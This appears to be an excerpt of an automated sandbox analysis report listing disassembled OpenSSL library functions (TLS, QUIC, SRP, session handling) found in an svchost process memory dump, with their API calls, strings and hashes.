d2i_PUBKEY_ex.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4963D8
EVP_PKEY_missing_parameters.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4963FB
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496404
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB49641C
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496469
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496481
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB49656F
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB49657B
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4965AB
CRYPTO_free.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4965D8
EVP_PKEY_free.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4965E0

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB496272, 00007FFBAB496379, 00007FFBAB496415, 00007FFBAB49647A, 00007FFBAB4965A4, 00007FFBAB4965CB
tls_process_rpk, xrefs: 00007FFBAB49626B, 00007FFBAB49636D, 00007FFBAB496409, 00007FFBAB49646E, 00007FFBAB49659D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$O_freeO_memcmpY_exY_freeY_missing_parametersd2i_
String ID: ssl\statem\statem_lib.c$tls_process_rpk
API String ID: 2574011182-3798400865
Opcode ID: 6f241ae834e0f5e969e3fdeae8b107c3cc6316ff65a60cb2fa840de97d3a40a9
Instruction ID: 4ee473d32bca475201dc6214ed7a817d445f9c1a8131f61c899d893c570f6a67
Opcode Fuzzy Hash: 6f241ae834e0f5e969e3fdeae8b107c3cc6316ff65a60cb2fa840de97d3a40a9
Instruction Fuzzy Hash: 04C190A2A0E68281FB62DB76E5803BD6391EB44794F10C135EE7D826E5DF3CE495C701

Function 00007FFBAB49C280 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 184COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49C2CA
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49C2E2

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49C313
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49C32B
EVP_PKEY_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49C566

Strings

tls_process_cke_gost18, xrefs: 00007FFBAB49C2CF, 00007FFBAB49C318, 00007FFBAB49C372, 00007FFBAB49C3C0, 00007FFBAB49C402, 00007FFBAB49C466, 00007FFBAB49C4C1, 00007FFBAB49C517
, xrefs: 00007FFBAB49C44C
, xrefs: 00007FFBAB49C2AA
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49C2DB, 00007FFBAB49C324, 00007FFBAB49C37E, 00007FFBAB49C3CC, 00007FFBAB49C40E, 00007FFBAB49C472, 00007FFBAB49C4CD, 00007FFBAB49C523

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_errorX_free
String ID: $ $ssl\statem\statem_srvr.c$tls_process_cke_gost18
API String ID: 69550846-3863225748
Opcode ID: 00d8c6dc8efc5c8ef4ecaa0cfa2a26c64706626428e821f2e2f0224a3dd28f48
Instruction ID: de0aa74ab27c9a6e4a2e08871e55be1a2730b72be1e9b51ddb08b840778af08c
Opcode Fuzzy Hash: 00d8c6dc8efc5c8ef4ecaa0cfa2a26c64706626428e821f2e2f0224a3dd28f48
Instruction Fuzzy Hash: BB815FB1A1E64281F662EB72E8917FD2351BF84B80F408432EE2D476B7DE7CE5488750

Function 00007FFBAB41AB80 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 307COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41ABF6
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AC0E
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AC20
ASN1_item_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AC2F
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AC82
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AC9A
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41ACC3
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41ACDB
memcpy.VCRUNTIME140(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AD45
memcpy.VCRUNTIME140(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AD7F
X509_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41ADDB
EVP_PKEY_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41ADF6
d2i_PUBKEY_ex.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AE31
memcpy.VCRUNTIME140(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AE6D
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AEFB
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AF41
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AF59

Part of subcall function 00007FFBAB41B500: CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB41AE9A,?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41B52E

CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41AFC4
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41B02D
ASN1_item_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB41AB6E), ref: 00007FFBAB41B07F

Strings

d2i_SSL_SESSION_ex, xrefs: 00007FFBAB41ABFB, 00007FFBAB41AC87, 00007FFBAB41ACC8, 00007FFBAB41AF46
ssl\ssl_asn1.c, xrefs: 00007FFBAB41AC07, 00007FFBAB41AC93, 00007FFBAB41ACD4, 00007FFBAB41AED8, 00007FFBAB41AF52, 00007FFBAB41AF9E, 00007FFBAB41B013

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeR_newR_set_debug$memcpy$N1_item_free$R_set_errorX509_freeY_exY_freed2i_
String ID: d2i_SSL_SESSION_ex$ssl\ssl_asn1.c
API String ID: 3345805239-3787699099
Opcode ID: 08c168e653102878f2f672e4712d67bdc309429c95d44fbb4e96ba3687ef8e26
Instruction ID: 5d24aefca9dfa04bc790ca2b2c876bb5212cd1822cf251e02ffa541eff8dcef5
Opcode Fuzzy Hash: 08c168e653102878f2f672e4712d67bdc309429c95d44fbb4e96ba3687ef8e26
Instruction Fuzzy Hash: 54E12DB2A0AB8692EB669F35E4812B937A4FB44B44F088036DE6D477B5DF38E454C310

Function 00007FFBAB4667D1 Relevance: 38.6, APIs: 11, Strings: 11, Instructions: 102COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB4667DB
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB4667FA
CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB46683F
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466887
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB46689A
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB4668B0
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB4668CA
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB4668FC
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466918
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB46693A
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Gap: %llu, xrefs: 00007FFBAB4668E4
ssl\quic\quic_trace.c, xrefs: 00007FFBAB466838, 00007FFBAB466930
Largest acked: %llu, xrefs: 00007FFBAB466879
Ack range count: %llu, xrefs: 00007FFBAB4668A3
(with ECN), xrefs: 00007FFBAB4667EC
Ack , xrefs: 00007FFBAB4667D1
Ack delay (raw) %llu, xrefs: 00007FFBAB466890
(without ECN), xrefs: 00007FFBAB4667E5
First ack range: %llu, xrefs: 00007FFBAB4668B9
Ack range len: %llu, xrefs: 00007FFBAB466905

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printf$O_puts$O_freeO_zalloc
String ID: <unexpected trailing frame data skipped>$ Ack delay (raw) %llu$ Ack range count: %llu$ Ack range len: %llu$ First ack range: %llu$ Gap: %llu$ Largest acked: %llu$ (with ECN)$ (without ECN)$Ack $ssl\quic\quic_trace.c
API String ID: 1392080105-452490795
Opcode ID: aaea0fa10fea37a6471be535342dd04dbe935009f4cd36361e677d794d860f6a
Instruction ID: da3ddb7f3bd162c60c33f71e5c4fe73d423215620d2fe7fe71816c8f1813262d
Opcode Fuzzy Hash: aaea0fa10fea37a6471be535342dd04dbe935009f4cd36361e677d794d860f6a
Instruction Fuzzy Hash: 1B416AA2B0A75294FE22DBB5D8602FC2761FB44B94F44903ACE2D176A5DE3CE44AC340

Function 00007FFBAB42E9C0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 168COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42E9EA
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42EA02

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42EA52
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42EA6A

Strings

C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h, xrefs: 00007FFBAB42EBFC, 00007FFBAB42EC24
ssl_cache_cipherlist, xrefs: 00007FFBAB42E9EF, 00007FFBAB42EA57, 00007FFBAB42EAF8, 00007FFBAB42EB9B, 00007FFBAB42EC4A
ssl\ssl_lib.c, xrefs: 00007FFBAB42E9FB, 00007FFBAB42EA63, 00007FFBAB42EA90, 00007FFBAB42EACA, 00007FFBAB42EB04, 00007FFBAB42EBA7, 00007FFBAB42EBCF, 00007FFBAB42EC56

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h$ssl\ssl_lib.c$ssl_cache_cipherlist
API String ID: 4275876640-878095499
Opcode ID: 9d6e9ff241596d830fe551f836550e6429d03e1f2991cc0af5c0d4a8b6431be4
Instruction ID: 9aadbb78b6f141a33fae9b5e0cf28e863564a2849f6345c589399098dfc11793
Opcode Fuzzy Hash: 9d6e9ff241596d830fe551f836550e6429d03e1f2991cc0af5c0d4a8b6431be4
Instruction Fuzzy Hash: C771C0B1A0AB8281EB62DF72D4916F93365EF54784F448035DE6D47ABAEF3CE2458301

Function 00007FFBAB434A20 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB434A7E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB434A96
CRYPTO_THREAD_read_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB434AEC
CRYPTO_THREAD_read_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB434B03
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB434B10
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB434B15
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB434B2D
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB434B94
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB434B9D
memset.VCRUNTIME140 ref: 00007FFBAB434BB2
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB434BDB
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB434BF3
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB434C31
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB434C49

Strings

ssl_generate_session_id, xrefs: 00007FFBAB434A83, 00007FFBAB434B1A, 00007FFBAB434BE0, 00007FFBAB434C36, 00007FFBAB434C70
ssl\ssl_sess.c, xrefs: 00007FFBAB434A8F, 00007FFBAB434B26, 00007FFBAB434BEC, 00007FFBAB434C42, 00007FFBAB434C7C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$D_unlock$D_read_lock$memset
String ID: ssl\ssl_sess.c$ssl_generate_session_id
API String ID: 3158670085-908510661
Opcode ID: 4a2608fc511d51f38a49b1eb859a161b0b8407680a5219e0000badd70b6623ca
Instruction ID: a5e09ce424f8afa97c738c4a2ac8f76883d3b85523db2e6b3259deaed44652be
Opcode Fuzzy Hash: 4a2608fc511d51f38a49b1eb859a161b0b8407680a5219e0000badd70b6623ca
Instruction Fuzzy Hash: 4E61D3B2B1A54281F766DB36E8916FD2360EF84784F588031DE2D47AF5DF2CE5858700

Function 00007FFBAB411030 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FFBAB411075
GetACP.KERNEL32 ref: 00007FFBAB41108E
MultiByteToWideChar.KERNEL32 ref: 00007FFBAB4110DC
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFBAB41114E
MultiByteToWideChar.KERNEL32 ref: 00007FFBAB411187
GetEnvironmentVariableW.KERNEL32 ref: 00007FFBAB41119D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFBAB41120D
GetEnvironmentVariableW.KERNEL32 ref: 00007FFBAB411237
WideCharToMultiByte.KERNEL32 ref: 00007FFBAB411269
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB411286
WideCharToMultiByte.KERNEL32 ref: 00007FFBAB4112B6
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4112CE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFBAB4112E3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFBAB4112FB
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 00007FFBAB411316

Strings

OPENSSL_WIN32_UTF8, xrefs: 00007FFBAB41106C
crypto\getenv.c, xrefs: 00007FFBAB411279, 00007FFBAB4112C7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: ByteCharMultiWide$EnvironmentVariable$freemalloc$O_freeO_mallocgetenv
String ID: OPENSSL_WIN32_UTF8$crypto\getenv.c
API String ID: 961399396-38007710
Opcode ID: 7bafd972a445d01b9677d38324dda73a783f8ed59ccde74f62ef29f0471c9999
Instruction ID: 3baeb777bd3928257f30dd1501f4fb3dd9ebd3dec0a068d4f6ec9f5b31d7faea
Opcode Fuzzy Hash: 7bafd972a445d01b9677d38324dda73a783f8ed59ccde74f62ef29f0471c9999
Instruction Fuzzy Hash: DC81C2A2F0AA4286FB269B36E85117966D5BF44BE0F448636DE3D57BE4EF3CD4049300

Function 00007FFBAB486A30 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 171COMMON

Download Yara Rule

APIs

CRYPTO_memcmp.LIBCRYPTO-3-X64 ref: 00007FFBAB486B60
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB486B84
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB486B9C
memchr.VCRUNTIME140 ref: 00007FFBAB486BD4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB486BDE
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB486C05
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB486C22
CRYPTO_strndup.LIBCRYPTO-3-X64 ref: 00007FFBAB486C3A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB486C4F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB486C67
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB486C7A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB486C92
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB486CBC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB486CD4

Strings

tls_parse_ctos_server_name, xrefs: 00007FFBAB486B89, 00007FFBAB486BE3, 00007FFBAB486C54, 00007FFBAB486C7F, 00007FFBAB486CC1
C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h, xrefs: 00007FFBAB486C0C, 00007FFBAB486C2D
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB486B95, 00007FFBAB486BF8, 00007FFBAB486C60, 00007FFBAB486C8B, 00007FFBAB486CCD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$O_free$O_memcmpO_strndupmemchr
String ID: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h$ssl\statem\extensions_srvr.c$tls_parse_ctos_server_name
API String ID: 780431574-3519811762
Opcode ID: 859949db2d3d7faf1b77a08b5c303842377056ef0c836e65578dac2b5671074e
Instruction ID: 07b6f65bd3b18c879ddc12323469e748630105a12ab2f9722a2a5a12657d4b07
Opcode Fuzzy Hash: 859949db2d3d7faf1b77a08b5c303842377056ef0c836e65578dac2b5671074e
Instruction Fuzzy Hash: F971BDA2E0E69281FBA29BB5D4513BD63A1EF44788F44C436DE6C476B6DE3CE584C700

Function 00007FFBAB444A60 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB444B05
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB444B1D
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB444BD8
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB444BE5
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB444BFD
BN_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444C75
BN_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444C7D
CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444CB8
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB444CBF
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB444CD7
BN_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444CF3
BN_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444CFA
BN_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444D02

Strings

ssl\tls_srp.c, xrefs: 00007FFBAB444B16, 00007FFBAB444BC8, 00007FFBAB444BF6, 00007FFBAB444C51, 00007FFBAB444CA4, 00007FFBAB444CD0
srp_generate_client_master_secret, xrefs: 00007FFBAB444B0A, 00007FFBAB444BEA, 00007FFBAB444C45, 00007FFBAB444CC4

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: N_clear_free$R_newR_set_debug$O_clear_freeO_malloc
String ID: srp_generate_client_master_secret$ssl\tls_srp.c
API String ID: 2561172722-329117511
Opcode ID: fa1b1ddf2f1494409767827b86814f9e7f048f390c60cbe00c7152a546646e22
Instruction ID: 90d34487345f06580255b8b736868db74dd66e3c60565c2dad992f4f7cb50cd9
Opcode Fuzzy Hash: fa1b1ddf2f1494409767827b86814f9e7f048f390c60cbe00c7152a546646e22
Instruction Fuzzy Hash: 6561B4B5B0A74281E62AEB72D4A16BE6350FF45BC4F848435DE2E477A2DF3CE1558300

Function 00007FFBAB463040 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

RAND_priv_bytes_ex.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB46307B
CRYPTO_zalloc.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB463097
EVP_CIPHER_fetch.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4630B5
EVP_CIPHER_CTX_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4630C6
EVP_CIPHER_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4630FE
OPENSSL_LH_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB463113
OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB46313C
OPENSSL_LH_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB463158
OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB46317A
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB463191
OPENSSL_LH_doall.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4631A6
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4631AF
EVP_CIPHER_CTX_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4631B7
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4631CC
EVP_CIPHER_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4631D4

Strings

